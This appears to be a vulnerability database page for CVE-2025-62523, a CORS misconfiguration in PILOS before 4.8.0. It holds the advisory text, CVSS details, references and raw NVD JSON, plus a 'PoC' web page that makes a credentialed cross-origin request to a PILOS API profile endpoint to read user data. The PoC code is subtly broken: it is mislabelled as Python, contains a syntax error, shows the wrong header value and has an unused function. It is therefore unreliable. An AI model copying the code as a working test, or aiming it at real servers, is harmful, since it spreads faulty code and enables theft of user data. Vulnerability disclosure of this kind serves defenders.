CVE-2025-62523

Description

PILOS (Platform for Interactive Live-Online Seminars) is a frontend for BigBlueButton. PILOS before 4.8.0 includes a Cross-Origin Resource Sharing (CORS) misconfiguration in its middleware: it reflects the Origin request header back in the Access-Control-Allow-Origin response header without proper validation or a whitelist, while Access-Control-Allow-Credentials is set to true. This behavior could allow a malicious website on a different origin to send requests (including credentials) to the PILOS API. This may enable exfiltration or actions using the victim’s credentials if the server accepts those cross-origin requests as authenticated. Laravel’s session handling applies additional origin checks such that cross-origin requests are not authenticated by default. Because of these session-origin protections, and in the absence of any other unknown vulnerabilities that would bypass Laravel’s origin/session checks, this reflected-Origin CORS misconfiguration is not believed to be exploitable in typical PILOS deployments. This vulnerability has been patched in PILOS in v4.8.0

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:thm:pilos:*:*:*:*:*:*:*:* - VULNERABLE

PILOS < 4.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62523 PoC - CORS Misconfiguration in PILOS
// This PoC demonstrates the CORS misconfiguration vulnerability
// Note: Laravel's session protection prevents actual exploitation in most cases

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORS Misconfiguration Test - CVE-2025-62523</title>
</head>
<body>
    <h1>CORS Misconfiguration Test</h1>
    <p>Target: PILOS Server with CORS vulnerability</p>
    <button onclick="testCORS()">Test CORS Request</button>
    <pre id="output"></pre>

    <script>
        async function testCORS() {
            const targetUrl = 'https://vulnerable-pilos-server/api/user/profile';
            const output = document.getElementById('output');
            
            try {
                // Attempt cross-origin request with credentials
                const response = await fetch(targetUrl, {
                    method: 'GET',
                    credentials: 'include',  // Include cookies for authenticated requests
                    mode: 'cors'  // CORS mode
                });
                
                // Check if request was allowed by CORS
                const headers = [];
                response.headers.forEach((value, key) => {
                    headers.push(`${key}: ${value}`);
                });
                
                let data;
                try {
                    data = await response.json();
                } catch (e) {
                    data = 'Unable to parse response (blocked by browser or Laravel protection)';
                }
                
                output.textContent = `
[CORS Response Headers]
${headers.join('\n')}

[Response Status] ${response.status}

[Response Data]
${JSON.stringify(data, null, 2)}

[*] Note: Even if CORS allows the request, Laravel's session-origin 
    protection typically blocks authenticated cross-origin requests.
                `;
                
            } catch (error) {
                output.textContent = `
[ERROR] Request failed

Error: ${error.message}

[*] Possible reasons:
    - Network error (CORS preflight failed)
    - Server not reachable
    - Laravel session protection blocked the request
    - No valid session cookie available
                `;
            }
        }
        
        // Optional: Check CORS headers without authentication
        function checkCORSHeaders() {
            const testUrl = 'https://vulnerable-pilos-server/api/'; // Simple endpoint
            
            fetch(testUrl, { method: 'OPTIONS' })
                .then(response => {
                    const acao = response.headers.get('Access-Control-Allow-Origin');
                    const acac = response.headers.get('Access-Control-Allow-Credentials');
                    constacam = response.headers.get('Access-Control-Allow-Methods');
                    
                    document.getElementById('output').textContent = `
[CORS Preflight Response Headers]
Access-Control-Allow-Origin: ${acao || 'Not set'}
Access-Control-Allow-Credentials: ${acac || 'Not set'}
Access-Control-Allow-Methods: ${acac || 'Not set'}

[*] Vulnerability Indicator:
    If Access-Control-Allow-Origin: * AND Access-Control-Allow-Credentials: true
    OR if Access-Control-Allow-Origin reflects the request Origin
    Then CORS misconfiguration exists (CVE-2025-62523)
                    `;
                })
                .catch(err => {
                    console.error('CORS check failed:', err);
                });
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62523
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62523
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62523/
[4] VulDB https://vuldb.com/cve/CVE-2025-62523
[5] https://github.com/THM-Health/PILOS/commit/14655bc4f8128ffd2b3c25004b01d9a802808da8
[6] https://github.com/THM-Health/PILOS/security/advisories/GHSA-pgfw-f4mp-5445

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62523", "sourceIdentifier": "[email protected]", "published": "2025-10-27T21:15:37.770", "lastModified": "2025-11-04T18:35:45.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PILOS (Platform for Interactive Live-Online Seminars) is a frontend for BigBlueButton. PILOS before 4.8.0 includes a Cross-Origin Resource Sharing (CORS) misconfiguration in its middleware: it reflects the Origin request header back in the Access-Control-Allow-Origin response header without proper validation or a whitelist, while Access-Control-Allow-Credentials is set to true. This behavior could allow a malicious website on a different origin to send requests (including credentials) to the PILOS API. This may enable exfiltration or actions using the victim’s credentials if the server accepts those cross-origin requests as authenticated. Laravel’s session handling applies additional origin checks such that cross-origin requests are not authenticated by default. Because of these session-origin protections, and in the absence of any other unknown vulnerabilities that would bypass Laravel’s origin/session checks, this reflected-Origin CORS misconfiguration is not believed to be exploitable in typical PILOS deployments. This vulnerability has been patched in PILOS in v4.8.0"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thm:pilos:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.8.0", "matchCriteriaId": "91445D94-4D77-4EFF-A078-6AEF72F6E116"}]}]}], "references": [{"url": "https://github.com/THM-Health/PILOS/commit/14655bc4f8128ffd2b3c25004b01d9a802808da8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/THM-Health/PILOS/security/advisories/GHSA-pgfw-f4mp-5445", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}